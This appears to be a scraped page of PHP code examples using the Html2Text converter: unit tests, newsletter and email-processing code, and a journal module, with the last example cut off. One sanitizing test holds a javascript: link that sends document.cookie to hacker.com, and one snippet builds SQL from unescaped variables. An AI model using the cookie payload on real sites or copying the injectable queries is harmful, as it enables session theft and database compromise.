示例#1
0
 /**
  * @dataProvider provideSymbols
  */
 public function testSymbol($entity, $symbol)
 {
     $html = "{$entity} signs should be UTF-8 symbols";
     $expected = "{$symbol} signs should be UTF-8 symbols";
     $html2text = new Html2Text($html);
     $this->assertEquals($expected, $html2text->getText());
 }
示例#2
0
文件: PreTest.php 项目: cjq/html2text
    public function testPre()
    {
        $html = <<<'EOT'
<p>Before</p>
<pre>

Foo bar baz


HTML symbols &amp;

</pre>
<p>After</p>
EOT;
        $expected = <<<'EOT'
Before

Foo bar baz

HTML symbols &

After

EOT;
        $html2text = new Html2Text($html);
        $this->assertEquals($expected, $html2text->getText());
    }
示例#3
0
 public static function convert($content, $allowed_tags = null, $line_width = null)
 {
     $_this = new Html2Text();
     if (!empty($allowed_tags)) {
         $_this->setAllowedTags($allowed_tags);
     }
     if (!empty($line_width)) {
         $_this->setLineWidth($line_width);
     }
     $text = trim(stripslashes($content));
     // Run our defined search-and-replace
     $text = preg_replace(array_keys(self::$correspondances), array_values(self::$correspondances), $text);
     // Strip any other HTML tags
     $text = strip_tags($text, join('', $_this->allowed_tags));
     // Bring down number of empty lines to 2 max
     $text = preg_replace("/\n\\s+\n/", "\n\n", $text);
     $text = preg_replace("/[\n]{3,}/", "\n\n", $text);
     // Wrap the text to a readable format
     // for PHP versions >= 4.0.2. Default line_width is 75
     // If line_width is 0 or less, don't wrap the text.
     if ($_this->line_width > 0) {
         $text = wordwrap($text, $_this->line_width);
     }
     return $text;
 }
示例#4
0
    public function testTable()
    {
        $html = <<<'EOT'
<table>
  <tr>
    <th>Heading 1</th>
    <td>Data 1</td>
  </tr>
  <tr>
    <th>Heading 2</th>
    <td>Data 2</td>
  </tr>
</table>
EOT;
        $expected = <<<'EOT'
 		HEADING 1
 		Data 1

 		HEADING 2
 		Data 2


EOT;
        $html2text = new Html2Text($html);
        $this->assertEquals($expected, $html2text->getText());
    }
示例#5
0
 public function testLegacyConstructor()
 {
     $html = 'Foo';
     $options = array('do_links' => 'none');
     $html2text = new Html2Text($html, false, $options);
     $this->assertEquals($html, $html2text->getText());
 }
示例#6
0
    public function testIgnoreSpans()
    {
        $html = <<<EOT
Outside<span class="_html2text_ignore">Inside</span>
EOT;
        $expected = <<<EOT
Outside
EOT;
        $html2text = new Html2Text($html);
        $output = $html2text->getText();
        $this->assertEquals($expected, $output);
    }
示例#7
0
function prepDisplayString($str = '')
{
    if (preg_match('/^([0-9]{4})-([0-9]{2})-([0-9]{2})( [0-9]{2}:[0-9]{2}:[0-9]{2})?$/', $str, $amatch)) {
        $str = "{$amatch['3']}.{$amatch['2']}.{$amatch['1']}";
    } else {
        if (strpos($str, '<') !== FALSE) {
            $htt = new Html2Text($str, XOX_NLS_MAX_STRLEN);
            $str = $htt->convert();
        }
        if (strlen($str) > XOX_NLS_MAX_STRLEN) {
            $str = substr($str, 0, XOX_NLS_MAX_STRLEN - 3) . '...';
        }
    }
    return $str;
}
示例#8
0
    public function testToUpper()
    {
        $html = <<<EOT
<h1>Will be UTF-8 (äöüèéилčλ) uppercased</h1>
<p>Will remain lowercased</p>
EOT;
        $expected = <<<EOT
WILL BE UTF-8 (ÄÖÜÈÉИЛČΛ) UPPERCASED

Will remain lowercased
EOT;
        $html2text = new Html2Text($html);
        $output = $html2text->getText();
        $this->assertEquals($expected, $output);
    }
示例#9
0
    public function testDefinitionList()
    {
        $html = <<<EOT
<dl>
  <dt>Definition Term:</dt>
  <dd>Definition Description<dd>
</dl>
EOT;
        $expected = <<<EOT
 \t* Definition Term: Definition Description 


EOT;
        $html2text = new Html2Text($html);
        $output = $html2text->getText();
        $this->assertEquals($expected, $output);
    }
示例#10
0
    public function testOrderedList()
    {
        $html = <<<'EOT'
<ol>
  <li>Item 1</li>
  <li>Item 2</li>
  <li>Item 3</li>
</ol>
EOT;
        $expected = <<<'EOT'
 	* Item 1
 	* Item 2
 	* Item 3


EOT;
        $html2text = new Html2Text($html);
        $this->assertEquals($expected, $html2text->getText());
    }
示例#11
0
if (!$et_language) {
    $et_language = 'eng';
}
$custom_id_sql_orderby = "";
$custom_id_sql_where = "";
if ($et_custom_id) {
    $custom_id_sql_orderby = "(`et_custom_id` = '{$et_custom_id}') DESC, ";
    $custom_id_sql_where = "and (`et_custom_id` = '{$et_custom_id}' OR `et_custom_id` is null)";
}
$lang_sql = "(`et_language` = '{$et_language}') DESC";
$sql = "select * from `cs_email_templates` where et_name = '{$et_name}' {$custom_id_sql_where} order by {$custom_id_sql_orderby} {$lang_sql} Limit 1";
$result = mysql_query($sql) or dieLog(mysql_errno() . ": " . mysql_error() . "<BR>");
if (mysql_num_rows($result)) {
    $emailInfo = mysql_fetch_assoc($result);
    if ($_POST['Submit'] == 'Generate PlainText') {
        $asciiText = new Html2Text($emailInfo['et_htmlformat'], 900);
        // 900 columns maximum
        $emailInfo['et_textformat'] = $asciiText->convert();
    }
    ?>
		
		<table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td height="22" align="left" valign="top" width="1%" background="../images/menucenterbg.gif" nowrap><img border="0" SRC="<?php 
    echo $tmpl_dir;
    ?>
/images/menutopleft.gif" width="8" height="22"></td>
            <td height="22" align="center" valign="middle" width="50%" background="../images/menucenterbg.gif" ><span class="whitehd">Edit Email Templates </span></td>
            <td height="22" align="left" valign="top" width="3%" nowrap><img border="0" SRC="<?php 
    echo $tmpl_dir;
    ?>
示例#12
0
 public function html2text($text)
 {
     require_once Mage::getBaseDir('lib') . DS . 'Html2Text' . DS . 'Html2Text.php';
     $converter = new Html2Text($text);
     return $converter->get_text();
 }
示例#13
0
 function convertNL2Text($html, $type)
 {
     global $encoding;
     $text = $html;
     if ($type == "html" || $type == "text/html") {
         #$text=str_replace("<br>","\n", $text);
         #$text=strip_htmltags($text);
         #$text=strip_tags($text);
         $htmlToText = new Html2Text($html, 80);
         //class has apache license, may be in conflict with gpl???
         #$text=htmlspecialchars_decode($text);//php5 only
         #$text=html_entity_decode($text);
         $text = $htmlToText->convert();
         #$text=strip_tags($text);
         #$text=html_entity_decode($text,ENT_NOQUOTES,$encoding);
         $text = preg_replace('~<[^>]+>~', '', $text);
         // remove any HTML tags that are still left
         #$text=str_replace("&quot;","'",$text);
     }
     return $text;
 }
 function setNewsletter($newsletter_id, $issue_id = 0)
 {
     $this->error = '';
     $this->c_newsletter = new cNewsletter($newsletter_id);
     $ai = $this->c_newsletter->getIssues();
     if (count($ai) < 1) {
         $this->error = 'No Valid Newsletter Issues Set';
         return false;
     }
     $this->c_issue = $ai[0];
     foreach ($ai as $is) {
         if ($is->id == $issue_id) {
             $this->c_issue = $is;
         }
     }
     /*if (!isset($ai[$issue_id])) {
     				$this->error='No Valid Newsletter Issue Set';
     				return false;
     			}
     
     			$this->c_issue = $ai[$issue_id];*/
     $ac = $this->c_issue->getContents();
     #$c->debug();
     #$i->debug();
     #foreach($ac as $content) $content->debug();
     $mainvars = array();
     // add mail replacement variables
     foreach ($this->mailvars as $var) {
         $mainvars[$var] = '{$' . $var . '}';
     }
     // add date and unsubscription url
     $mainvars['DATE'] = date('d.m.Y');
     // TODO: get correct unsubscribe url (config or database?)
     $mainvars['UNSUBSCRIBE_URL'] = '';
     // check if text template is used
     if ($this->text_template) {
         $this->text_template->setVar($mainvars);
         // create converter class
         $html = new Html2Text($this->c_issue->introduction, 80);
         // issue title and introduction in text style
         $this->text_template->setVar('TITLE', $this->c_issue->title);
         $this->text_template->setVar('INTRODUCTION', trim($html->convert()));
         // copy content
         $content_count = 1;
         foreach ($ac as $content) {
             // text content
             $this->text_template->setVar('TITLE', $content->title, $content->flags, $content_count);
             $html->iHtmlText = $content->body;
             $this->text_template->setVar('BODY', trim($html->convert()), $content->flags, $content_count);
             $this->text_template->setVar('URL', (empty($content->url) ? '' : "-> " . $content->url) . "\n\n", $content->flags, $content_count);
             $content_count++;
         }
     }
     // check if html template is used
     if ($this->html_template) {
         $this->html_template->setVar($mainvars);
         // issue title and introduction in html style
         $this->html_template->setVar('TITLE', $this->c_issue->title);
         $this->html_template->setVar('INTRODUCTION', $this->c_issue->introduction);
         // copy content
         $content_count = 1;
         foreach ($ac as $content) {
             // html content
             $this->html_template->setVar('TITLE', $content->title, $content->flags, $content_count);
             $this->html_template->setVar('BODY', $content->body, $content->flags, $content_count);
             $this->html_template->setVar('URL', (empty($content->url) ? '' : '<a href="' . $content->url) . '">&gt;&gt;&gt;</a>', $content->flags, $content_count);
             $content_count++;
         }
     }
     return true;
 }
示例#15
0
 public function testDoLinksBBCode()
 {
     $html = '<a href="http://example.com"><b>Link text</b></a>';
     $expected = '[url=http://example.com]LINK TEXT[/url]';
     $html2text = new Html2Text($html, array('do_links' => 'bbcode'));
     $this->assertEquals($expected, $html2text->getText());
 }
示例#16
0
 public function testJavascriptSanitizing()
 {
     $html = '<a href="javascript:window.open(\'http://hacker.com?cookie=\'+document.cookie)">Link text</a>';
     $expected = 'Link text';
     $html2text = new Html2Text($html, array('do_links' => 'inline'));
     $this->assertEquals($expected, $html2text->getText());
 }
示例#17
0
 /**
  * @dataProvider blockquoteDataProvider
  */
 public function testBlockquote($html, $expected)
 {
     $html2text = new Html2Text($html);
     $this->assertEquals($expected, $html2text->getText());
 }
示例#18
0
 public function testBasicUsageInReadme()
 {
     $html = new Html2Text('Hello, &quot;<b>world</b>&quot;');
     $this->assertEquals('Hello, "WORLD"', $html->getText());
 }
示例#19
0
 /**
  * @dataProvider basicDataProvider
  */
 public function testBasic($html, $expected)
 {
     $html2Text = new Html2Text($html);
     $this->assertEquals($expected, $html2Text->getText());
     $this->assertEquals($html, $html2Text->getHtml());
 }
示例#20
0
 /**
  * Get messages according to a search criteria
  *
  * @param	string	search criteria (RFC2060, sec. 6.4.4). Set to "UNSEEN" by default
  *					NB: Search criteria only affects IMAP mailboxes.
  * @param	string	date format. Set to "Y-m-d H:i:s" by default
  * @return	mixed	array containing messages
  */
 public function get_messages($search_criteria = "UNSEEN", $date_format = "Y-m-d H:i:s")
 {
     global $htmlmsg, $plainmsg, $attachments;
     // If our imap connection failed earlier, return no messages
     if ($this->imap_stream == false) {
         return array();
     }
     // Use imap_search() to find the 'UNSEEN' messages.
     // This is more efficient than previous code using imap_num_msg()
     $new_msgs = imap_search($this->imap_stream, 'UNSEEN');
     $max_imap_messages = Kohana::config('email.max_imap_messages');
     if ($new_msgs == null) {
         return array();
     }
     // Check to see if the number of messages we want to sort through is greater than
     //   the number of messages we want to allow. If there are too many messages, it
     //   can fail and that's no good.
     $msg_to_pull = sizeof($new_msgs);
     // This check has had problems in the past
     if ($msg_to_pull > $max_imap_messages) {
         $msg_to_pull = $max_imap_messages;
     }
     $messages = array();
     for ($msgidx = 0; $msgidx < $msg_to_pull; $msgidx++) {
         $msgno = $new_msgs[$msgidx];
         $header = imap_headerinfo($this->imap_stream, $msgno);
         if (!isset($header->message_id) or !isset($header->udate)) {
             continue;
         }
         // Skip messages that aren't new/unseen
         // not sure we need this check now we use imap_search to pull only UNSEEN
         if ($header->Unseen != 'U' and $header->Recent != 'N') {
             continue;
         }
         $message_id = $header->message_id;
         $date = date($date_format, $header->udate);
         if (isset($header->from)) {
             $from = $header->from;
         } else {
             $from = FALSE;
         }
         $fromname = "";
         $fromaddress = "";
         $subject = "";
         $body = "";
         $attachments = "";
         if ($from != FALSE) {
             foreach ($from as $id => $object) {
                 if (isset($object->personal)) {
                     $fromname = $object->personal;
                 }
                 if (isset($object->mailbox) and isset($object->host)) {
                     $fromaddress = $object->mailbox . "@" . $object->host;
                 }
                 if ($fromname == "") {
                     // In case from object doesn't have Name
                     $fromname = $fromaddress;
                 }
             }
         }
         if (isset($header->subject)) {
             $subject = $this->_mime_decode($header->subject);
         }
         // Fetch Body
         $this->_getmsg($this->imap_stream, $msgno);
         if ($htmlmsg) {
             // Convert HTML to Text
             $html2text = new Html2Text($htmlmsg);
             $htmlmsg = $html2text->get_text();
         }
         $body = $plainmsg ? $plainmsg : $htmlmsg;
         // Fetch Attachments
         $attachments = $this->_extract_attachments($this->imap_stream, $msgno);
         // This isn't the perfect solution but windows-1256 encoding doesn't work with mb_detect_encoding()
         //   so if it doesn't return an encoding, lets assume it's arabic. (sucks)
         if (mb_detect_encoding($body, 'auto', true) == '') {
             $body = iconv("windows-1256", "UTF-8", $body);
         }
         // Convert to valid UTF8
         $detected_encoding = mb_detect_encoding($body, "auto");
         if ($detected_encoding == 'ASCII') {
             $detected_encoding = 'iso-8859-1';
         }
         $body = htmlentities($body, NULL, $detected_encoding);
         $subject = htmlentities(strip_tags($subject), NULL, 'UTF-8');
         array_push($messages, array('message_id' => $message_id, 'date' => $date, 'from' => $fromname, 'email' => $fromaddress, 'subject' => $subject, 'body' => $body, 'attachments' => $attachments));
         // Mark Message As Read
         imap_setflag_full($this->imap_stream, $msgno, "\\Seen");
     }
     return $messages;
 }
示例#21
0
 public function getSmartyTpl()
 {
     $currentUser = $this->getCurrentUser();
     $rules = $this->getRules();
     $smarty = $this->getSmartyVar();
     if ($currentUser->getRole($this->getCurrentLesson()) == 'professor' || $currentUser->getRole($this->getCurrentLesson()) == 'student') {
         $currentLesson = $this->getCurrentLesson();
         $currentLessonID = $currentLesson->lesson['id'];
         if (!isset($_SESSION['module_journal_dimension']) || count($_GET) == 2 && $_GET['ctg'] == 'module' && $_GET['op'] == 'module_journal' || count($_GET) == 3 && $_GET['ctg'] == 'module' && $_GET['op'] == 'module_journal' && $_GET['new_lesson_id'] == $currentLessonID) {
             $_SESSION['module_journal_dimension'] = 'small';
         }
         if (!isset($_SESSION['module_journal_entries_from']) || count($_GET) == 2 && $_GET['ctg'] == 'module' && $_GET['op'] == 'module_journal' || count($_GET) == 3 && $_GET['ctg'] == 'module' && $_GET['op'] == 'module_journal' && $_GET['new_lesson_id'] == $currentLessonID) {
             $_SESSION['module_journal_entries_from'] = '-1';
         }
         if (isset($_SESSION['module_journal_scroll_position'])) {
             $smarty->assign("T_JOURNAL_SCROLL_POSITION", $_SESSION['module_journal_scroll_position']);
         }
         $smarty->assign("T_JOURNAL_DIMENSIONS", $_SESSION['module_journal_dimension']);
         $smarty->assign("T_JOURNAL_ENTRIES_FROM", $_SESSION['module_journal_entries_from']);
         $entries = $this->getEntries($currentUser->user['login'], $_SESSION['module_journal_entries_from']);
         global $popup;
         isset($popup) && $popup == 1 ? $popup_ = '&popup=1' : ($popup_ = '');
     }
     $smarty->assign("T_JOURNAL_BASEURL", $this->moduleBaseUrl);
     $smarty->assign("T_JOURNAL_BASELINK", $this->moduleBaseLink);
     if (isset($_GET['edit_allow_export']) && $_GET['edit_allow_export'] == '1' && isset($_GET['allow'])) {
         try {
             $object = eF_getTableData("module_journal_settings", "id", "name='export'");
             eF_updateTableData("module_journal_settings", array("value" => $_GET['allow']), "id=" . $object[0]['id']);
         } catch (Exception $e) {
             handleAjaxExceptions($e);
         }
         exit;
     }
     if (isset($_GET['edit_professor_preview']) && $_GET['edit_professor_preview'] == '1' && isset($_GET['preview'])) {
         try {
             $object = eF_getTableData("module_journal_settings", "id", "name='preview'");
             eF_updateTableData("module_journal_settings", array("value" => $_GET['preview']), "id=" . $object[0]['id']);
         } catch (Exception $e) {
             handleAjaxExceptions($e);
         }
         exit;
     }
     if (isset($_GET['dimension']) && eF_checkParameter($_GET['dimension'], 'string')) {
         $smarty->assign("T_JOURNAL_DIMENSIONS", $_GET['dimension']);
         $_SESSION['module_journal_dimension'] = $_GET['dimension'];
     }
     if (isset($_GET['entries_from'])) {
         $smarty->assign("T_JOURNAL_ENTRIES_FROM", $_GET['entries_from']);
         $_SESSION['module_journal_entries_from'] = $_GET['entries_from'];
     }
     if (isset($_GET['delete_rule']) && eF_checkParameter($_GET['delete_rule'], 'id') && in_array($_GET['delete_rule'], array_keys($rules))) {
         try {
             eF_deleteTableData("module_journal_rules", "id=" . $_GET['delete_rule']);
         } catch (Exception $e) {
             handleAjaxExceptions($e);
         }
         exit;
     }
     if (isset($_GET['deactivate_rule']) && eF_checkParameter($_GET['deactivate_rule'], 'id') && in_array($_GET['deactivate_rule'], array_keys($rules))) {
         eF_updateTableData("module_journal_rules", array('active' => 0), "id=" . $_GET['deactivate_rule']);
     }
     if (isset($_GET['activate_rule']) && eF_checkParameter($_GET['activate_rule'], 'id') && in_array($_GET['activate_rule'], array_keys($rules))) {
         eF_updateTableData("module_journal_rules", array('active' => 1), "id=" . $_GET['activate_rule']);
     }
     if (isset($_GET['delete_entry']) && eF_checkParameter($_GET['delete_entry'], 'id') && in_array($_GET['delete_entry'], array_keys($entries))) {
         $object = eF_getTableData("module_journal_entries", "users_LOGIN", "id=" . $_GET['delete_entry']);
         if ($object[0]['users_LOGIN'] != $_SESSION['s_login']) {
             eF_redirect($this->moduleBaseUrl . "&message=" . urlencode(_JOURNAL_NOACCESS) . $popup_);
             exit;
         }
         eF_deleteTableData("module_journal_entries", "id=" . $_GET['delete_entry']);
     }
     if (isset($_GET['saveas']) && $_GET['saveas'] == 'pdf') {
         $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true);
         $pdf->SetCreator(PDF_CREATOR);
         $pdf->SetAuthor(PDF_AUTHOR);
         $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
         $pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
         $pdf->setFontSubsetting(false);
         $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
         $pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
         $pdf->setHeaderFont(array('Freeserif', 'I', 11));
         $pdf->setFooterFont(array('Freeserif', '', 8));
         $pdf->setHeaderData('', '', '', _JOURNAL_NAME);
         $pdf->AliasNbPages();
         $pdf->AddPage();
         $pdf->SetFont('Freeserif', '', 10);
         $pdf->SetTextColor(0, 0, 0);
         foreach ($entries as $entry) {
             $pdf->Cell(0, 0, $entry['entry_date_formatted'], 0, 1, L, 0);
             $pdf->writeHTML('<br/>', true, false, true, false, '');
             $pdf->writeHTML($entry['entry_body'], true, false, true, false, '');
             $pdf->writeHTML('<div style="height: 5px;"></div>', true, false, true, false, '');
             $pdf->writeHTML('<hr>', true, false, true, false, '');
         }
         $fileNamePdf = "journal.pdf";
         header("Content-type: application/pdf");
         header("Content-disposition: attachment; filename=" . $fileNamePdf);
         echo $pdf->Output('', 'S');
         exit(0);
     }
     if (isset($_GET['saveas']) && $_GET['saveas'] == 'doc') {
         include dirname(__FILE__) . "/classes/html_to_doc.inc.php";
         $entriesHTML = '';
         foreach ($entries as $entry) {
             $entriesHTML .= $entry['entry_date_formatted'];
             $entriesHTML .= $entry['entry_body'];
             $entriesHTML .= '<hr><br/>';
         }
         $htmltodoc = new HTML_TO_DOC();
         $htmltodoc->createDoc($entriesHTML, "journal", true);
         exit(0);
     }
     if (isset($_GET['saveas']) && $_GET['saveas'] == 'txt') {
         include dirname(__FILE__) . "/classes/html2text.inc";
         header('Content-Type: text/plain');
         header('Content-Disposition: attachment; filename="journal.txt"');
         $entriesHTML = '';
         foreach ($entries as $entry) {
             $entriesHTML .= $entry['entry_date_formatted'];
             $entriesHTML .= $entry['entry_body'];
             $entriesHTML .= '<p></p>';
             $entriesHTML .= '_______________________________________________________';
             $entriesHTML .= '<p></p>';
         }
         $htmlToText = new Html2Text($entriesHTML, 100);
         $entriesHTMLtext = $htmlToText->convert();
         echo $entriesHTMLtext;
         exit(0);
     }
     if (isset($_GET['check_students_journals']) && $_GET['check_students_journals'] == '1') {
         $professorJournalLessons = $this->getProfessorJournalLessons($currentUser);
         $journalLessonsStudents = $this->getJournalLessonsStudents($professorJournalLessons);
         $smarty->assign("T_JOURNAL_STUDENTS", $journalLessonsStudents);
     }
     if (isset($_GET['preview_journal']) && $_GET['preview_journal'] == '1' && isset($_GET['student']) && eF_checkParameter($_GET['student'], 'login')) {
         $userLogin = $_GET['student'];
         $professorJournalLessons = $this->getProfessorJournalLessons($currentUser);
         $studentEntries = $this->getStudentEntries($userLogin, $professorJournalLessons);
         $smarty->assign("T_JOURNAL_STUDENT_ENTRIES", $studentEntries);
     }
     if (isset($_REQUEST['autosave']) && $_REQUEST['autosave'] == "1" && isset($_REQUEST['entry_body']) && isset($_REQUEST['edit_entry'])) {
         if ($_REQUEST['edit_entry'] != "-1") {
             if (eF_checkParameter($_GET['edit_entry'], 'id')) {
                 $object = eF_getTableData("module_journal_entries", "lessons_ID", "id=" . $_GET['edit_entry']);
                 $fields = array("entry_body" => $_REQUEST['entry_body'], "entry_date" => date('Y') . '-' . date('m') . '-' . date('d') . ' ' . date('H') . ':' . date('i') . ':' . date('s'), "lessons_ID" => $object[0]['lessons_ID'], "users_LOGIN" => $currentUser->user['login']);
                 eF_updateTableData("module_journal_entries", $fields, "id=" . $_REQUEST['edit_entry']);
             }
         } else {
             $fields = array("entry_body" => $_REQUEST['entry_body'], "entry_date" => date('Y') . '-' . date('m') . '-' . date('d') . ' ' . date('H') . ':' . date('i') . ':' . date('s'), "lessons_ID" => $currentLessonID, "users_LOGIN" => $currentUser->user['login']);
             $id = eF_insertTableData("module_journal_entries", $fields);
             if ($id) {
                 if (isset($_SESSION['module_journal_autosave_entry'])) {
                     $this->deleteAutoSaveEntry();
                     $_SESSION['module_journal_autosave_entry'] = $id;
                 } else {
                     $_SESSION['module_journal_autosave_entry'] = $id;
                 }
             }
         }
         exit(0);
     }
     if (isset($_REQUEST['show_right']) && $_REQUEST['show_right'] == "1" && isset($_REQUEST['entry_body']) && $_REQUEST['entry_body'] != "" && isset($_REQUEST['edit']) && isset($_REQUEST['edit_entry'])) {
         if (isset($_SESSION['module_journal_show_right_entry'])) {
             unset($_SESSION['module_journal_show_right_entry']);
         }
         $_SESSION['module_journal_show_right_entry'] = $_REQUEST['entry_body'];
     }
     if (isset($_REQUEST['hide_right']) && $_REQUEST['hide_right'] == "1" && isset($_REQUEST['entry_body']) && $_REQUEST['entry_body'] != "" && isset($_REQUEST['edit']) && isset($_REQUEST['edit_entry'])) {
         if (isset($_SESSION['module_journal_hide_right_entry'])) {
             unset($_SESSION['module_journal_hide_right_entry']);
         }
         $_SESSION['module_journal_hide_right_entry'] = $_REQUEST['entry_body'];
     }
     if (isset($_REQUEST['hide_left']) && $_REQUEST['hide_left'] == "1" && isset($_REQUEST['entry_body']) && $_REQUEST['entry_body'] != "" && isset($_REQUEST['edit']) && isset($_REQUEST['edit_entry'])) {
         if (isset($_SESSION['module_journal_hide_left_entry'])) {
             unset($_SESSION['module_journal_hide_left_entry']);
         }
         $_SESSION['module_journal_hide_left_entry'] = $_REQUEST['entry_body'];
     }
     if (isset($_REQUEST['scroll_position']) && eF_checkParameter($_REQUEST['scroll_position'], 'id')) {
         $_SESSION['module_journal_scroll_position'] = $_REQUEST['scroll_position'];
     }
     if (isset($_GET['add_rule']) || isset($_GET['edit_rule']) && eF_checkParameter($_GET['edit_rule'], 'id') && in_array($_GET['edit_rule'], array_keys($rules))) {
         if ($_SESSION['s_type'] != "administrator") {
             eF_redirect($this->moduleBaseUrl . "&message=" . urlencode(_JOURNAL_NOACCESS));
         }
         isset($_GET['add_rule']) ? $postTarget = "&add_rule=1" : ($postTarget = "&edit_rule=" . $_GET['edit_rule']);
         global $load_editor;
         $load_editor = true;
         $form = new HTML_QuickForm("add_edit_rule_form", "post", $this->moduleBaseUrl . $postTarget, "", null, true);
         $form->addElement('text', 'title', _TITLE, 'class="inputText" style="width:498px;"');
         $form->addRule('title', _THEFIELD . ' "' . _TITLE . '" ' . _ISMANDATORY, 'required', null, 'client');
         $form->addElement('textarea', 'description', _DESCRIPTION, 'class="inputContentTextarea simpleEditor" style="width:500px;height:20em;"');
         $form->addElement('submit', 'submit', _SUBMIT, 'class="flatButton"');
         if (isset($_GET['edit_rule'])) {
             $editRule = $rules[$_GET['edit_rule']];
             $form->setDefaults($editRule);
         }
         if ($form->isSubmitted() && $form->validate()) {
             $values = $form->exportValues();
             $fields = array("title" => $values['title'], "description" => $values['description']);
             if ($values['description'] == '') {
                 $message = _JOURNAL_EMPTY_RULE_DESCRIPTION;
                 if (isset($_GET['add_rule'])) {
                     eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=failure&add_rule=1");
                 } else {
                     eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=failure&edit_rule=" . $_GET['edit_rule']);
                 }
             }
             if (isset($_GET['add_rule'])) {
                 if (eF_insertTableData("module_journal_rules", $fields)) {
                     $message = _JOURNAL_RULE_SUCCESSFULLY_ADDED;
                     eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=success");
                 } else {
                     $message = _JOURNAL_RULE_ADD_PROBLEM;
                     eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=failure");
                 }
             } else {
                 if (eF_updateTableData("module_journal_rules", $fields, "id=" . $_GET['edit_rule'])) {
                     $message = _JOURNAL_RULE_SUCCESSFULLY_EDITED;
                     eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=success");
                 } else {
                     $message = _JOURNAL_RULE_EDIT_PROBLEM;
                     eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=failure");
                 }
             }
         }
         $renderer = new HTML_QuickForm_Renderer_ArraySmarty($smarty);
         $form->setJsWarnings(_BEFOREJAVASCRIPTERROR, _AFTERJAVASCRIPTERROR);
         $form->setRequiredNote(_REQUIREDNOTE);
         $form->accept($renderer);
         $smarty->assign('T_JOURNAL_ADD_EDIT_RULE_FORM', $renderer->toArray());
     } else {
         $rules = $this->getRules();
         $smarty->assign("T_JOURNAL_RULES", $rules);
         $object = eF_getTableData("module_journal_settings", "value", "name='export'");
         $smarty->assign("T_JOURNAL_ALLOW_EXPORT", $object[0]['value']);
         $object = eF_getTableData("module_journal_settings", "value", "name='preview'");
         $smarty->assign("T_JOURNAL_ALLOW_PROFESSOR_PREVIEW", $object[0]['value']);
         if ($currentUser->getRole($this->getCurrentLesson()) == 'professor' || $currentUser->getRole($this->getCurrentLesson()) == 'student') {
             $activeRules = $this->getRules(true);
             $smarty->assign("T_JOURNAL_ACTIVE_RULES", $activeRules);
             $entries = $this->getEntries($currentUser->user['login'], $_SESSION['module_journal_entries_from']);
             $smarty->assign("T_JOURNAL_ENTRIES", $entries);
             $journalLessons = $this->getJournalLessons($currentUser->user['login']);
             $smarty->assign("T_JOURNAL_LESSONS", $journalLessons);
             /*					*/
             global $load_editor;
             $load_editor = true;
             if (isset($_GET['edit_entry']) && $_GET['edit_entry'] != '-1') {
                 $postTarget = "&edit_entry=" . $_GET['edit_entry'];
             } else {
                 $postTarget = "&add_entry=1";
             }
             if (isset($_GET['hide_right']) && $_GET['hide_right'] == '1') {
                 $editorStyle = array('small' => 'width:588px; height:320px;', 'medium' => 'width:673px; height:375px;', 'large' => 'width:759px; height:430px;');
             } else {
                 $editorStyle = array('small' => 'width:300px; height:320px;', 'medium' => 'width:344px; height:375px;', 'large' => 'width:388px; height:430px;');
             }
             $form = new HTML_QuickForm("add_edit_entry_form", "post", $this->moduleBaseUrl . $postTarget, "", null, true);
             $form->addElement('textarea', 'entry_body', _DESCRIPTION, 'class="inputContentTextarea simpleEditor" style="' . $editorStyle[$_SESSION['module_journal_dimension']] . '"');
             if (isset($_GET['edit_entry']) && $_GET['edit_entry'] != '-1') {
                 $form->addElement('submit', 'submit', _UPDATE . ' ' . _JOURNAL_ENTRY, 'class="flatButton"');
             } else {
                 $form->addElement('submit', 'submit', _SAVE . ' ' . _JOURNAL_ENTRY, 'class="flatButton"');
             }
             if (isset($_GET['edit_entry']) && $_GET['edit_entry'] != '-1') {
                 $editEntry = $entries[$_GET['edit_entry']];
                 $form->setDefaults($editEntry);
                 if (!in_array($_GET['edit_entry'], array_keys($entries))) {
                     eF_redirect($this->moduleBaseUrl . "&message=" . urlencode(_JOURNAL_NOACCESS) . $popup_);
                 }
                 $object = eF_getTableData("module_journal_entries", "lessons_ID, users_LOGIN, entry_date", "id=" . $_GET['edit_entry']);
                 if ($object[0]['users_LOGIN'] != $_SESSION['s_login']) {
                     eF_redirect($this->moduleBaseUrl . "&message=" . urlencode(_JOURNAL_NOACCESS) . $popup_);
                 }
             }
             if (isset($_GET['show_left']) && $_GET['show_left'] == '1' && isset($_GET['edit']) && isset($_GET['edit_entry'])) {
                 if (isset($_SESSION['module_journal_hide_left_entry'])) {
                     $form->setDefaults(array("entry_body" => $_SESSION['module_journal_hide_left_entry']));
                     unset($_SESSION['module_journal_hide_left_entry']);
                 }
             }
             if (isset($_GET['show_right']) && $_GET['show_right'] == '1' && isset($_GET['edit']) && isset($_GET['edit_entry'])) {
                 if (isset($_SESSION['module_journal_show_right_entry'])) {
                     $form->setDefaults(array("entry_body" => $_SESSION['module_journal_show_right_entry']));
                     unset($_SESSION['module_journal_show_right_entry']);
                 }
             }
             if (isset($_GET['hide_right']) && $_GET['hide_right'] == '1' && isset($_GET['edit']) && isset($_GET['edit_entry'])) {
                 if (isset($_SESSION['module_journal_hide_right_entry'])) {
                     $form->setDefaults(array("entry_body" => $_SESSION['module_journal_hide_right_entry']));
                     unset($_SESSION['module_journal_hide_right_entry']);
                 }
             }
             if ($form->isSubmitted() && $form->validate()) {
                 $values = $form->exportValues();
                 isset($_GET['add_entry']) ? $lessonID = $currentLessonID : ($lessonID = $object[0]['lessons_ID']);
                 if (isset($_GET['add_entry'])) {
                     $date = date('Y') . '-' . date('m') . '-' . date('d') . ' ' . date('H') . ':' . date('i') . ':' . date('s');
                 } else {
                     $date = $object[0]['entry_date'];
                 }
                 $fields = array("entry_body" => $values['entry_body'], "entry_date" => $date, "lessons_ID" => $lessonID, "users_LOGIN" => $currentUser->user['login']);
                 if ($values['entry_body'] == '') {
